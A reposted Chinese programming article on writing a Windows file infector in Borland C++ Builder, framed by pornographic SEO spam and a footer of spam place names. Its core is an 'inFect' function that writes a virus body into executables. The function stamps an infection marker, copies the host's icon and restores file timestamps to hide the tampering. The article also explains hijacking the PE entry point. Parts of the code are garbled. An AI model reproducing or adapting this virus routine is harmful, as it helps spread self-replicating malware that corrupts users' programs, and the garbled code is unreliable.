国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學院 > 開發設計 > 正文

關于BCB寫入文件進行感染的問題

2019-11-17 05:35:37
字體:
來源:轉載
供稿:網友

  提示一點,一種最簡單的方法是,自己做一個外殼程序(Shell),然后將要運行的程序以某種方式放入到外殼程序中(比如以資源或者特定位置數據),而外殼程序可以抽取原可執行程序文件得圖標,并可修改自己的圖標與之相同。這樣一來,經過修改的程序就是 外殼程序 + 原可執行程序(已作為數據存在于外殼程序中),運行后自然先啟動外殼程序,你可以在其中加入一些權限判定的代碼,通過驗證后,外殼程序將自身中的真正可執行文件數據提取并運行。這里面的要求是,外殼程序必須用純 WinAPI SDK 方式編寫,以減少文件體積;外殼程序應當對寫入自身的原可執行程序數據作加密處理,以防被竊取。你可以位外殼程序增加感染功能(不要做病毒哦……)等等。

/****************************************************************************
Function Name : inFect
Function : 感染文件
Parement : char *strFile 文件名
char *strSource 病毒體
DWord dwSourceSize 病毒體長度
Return : if sUCcess return 1,else return 0;
*****************************************************************************/
int inFect(WIN32_FIND_DATA _lpFindFileData,char *strSource,DWORD dwSourceSize){
HANDLE hSearchFile=NULL;
DWORD dwSearchFileSize=0;
char VirusFlag[10]={'/0'};
DWORD bytes_write;
WIN32_FIND_DATA lpFindFileData=_lpFindFileData;
char *strFile=lpFindFileData.cFileName ;

//char *strFile="AntGhazi.tmp/0";//測試時,特定只感染此文件
//strFile="e://kkkk//a.exe";//c://AntGhazi.tmp/0";//測試時,特定只感染此文件

::SetFileAttributes (strFile,FILE_ATTRIBUTE_NORMAL);
hSearchFile=::CreateFile (strFile,GENERIC_READGENERIC_WR99vE, FILE_SHARE_WR99vE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if(hSearchFile == INVALID_HANDLE_VALUE){
::CloseHandle (hSearchFile);
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 0;
}

::SetFilePointer (hSearchFile,80, NULL, FILE_BEGIN); //先讀取標志
::ReadFile (hSearchFile,VirusFlag,8,&bytes_write,0);
::ReadFile (hSearchFile,&dwSearchFileSize,4,&bytes_write,0);
if(strcmp(VirusFlag,"AntGhazi")!=0){ //感染
//先讀取長度
dwSearchFileSize=::GetFileSize (hSearchFile,NULL); //原長度
if(dwSearchFileSize>10485760){ //假如文件大于10M,則退出
::CloseHandle (hSearchFile);
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 0;
}
char *pSearchFile=new char[dwSearchFileSize];
::SetFilePointer (hSearchFile,0,NULL,FILE_BEGIN); //讀取原文件內容
::ReadFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);
memmove(strSource+80,"AntGhazi",8); //寫入標志
memcpy(strSource+88,&dwSearchFileSize,4); //寫入源長度

::SetFilePointer(hSearchFile,0,NULL,FILE_BEGIN); //預備寫入文件中
ModifyIcon(&strSource,pSearchFile); //修改ICON
::WriteFile (hSearchFile,strSource,dwSourceSize,&bytes_write,0);

::WriteFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);
delete pSearchFile;
SetFileTime(hSearchFile,&lpFindFileData.ftCreationTime,&lpFindFileData.ftLastaccessTime ,&lpFindFileData.ftLastWriteTime);//寫入日期
::CloseHandle (hSearchFile);
}else{
::CloseHandle (hSearchFile);
}
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 1;
}

先弄明白EXE文件的格式,每個EXE文件都有一個文件頭叫PE,那文件頭里面定義了該EXE文件里面各段的地址等很多重要的數據,有一個起始的指針指向程序開始運行的入口地址,你做個外殼把那地址改成你的程序入口,然后在你程序結束的時候轉到原來的那個入口就可以了。
說起道理來輕易,但想弄明白PE可真不是件輕易事哦! 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 绥滨县| 长丰县| 和政县| 新泰市| 博客| 南通市| 武山县| 灌南县| 会泽县| 蒙自县| 白水县| 彰化县| 博野县| 郓城县| 瑞金市| 南皮县| 临泽县| 海南省| 诏安县| 峡江县| 芒康县| 东平县| 沂水县| 五台县| 邻水| 海门市| 读书| 恭城| 育儿| 贺兰县| 衡阳县| 新干县| 镇平县| 锦州市| 临夏市| 铅山县| 通许县| 汉寿县| 陆河县| 金堂县| 自治县|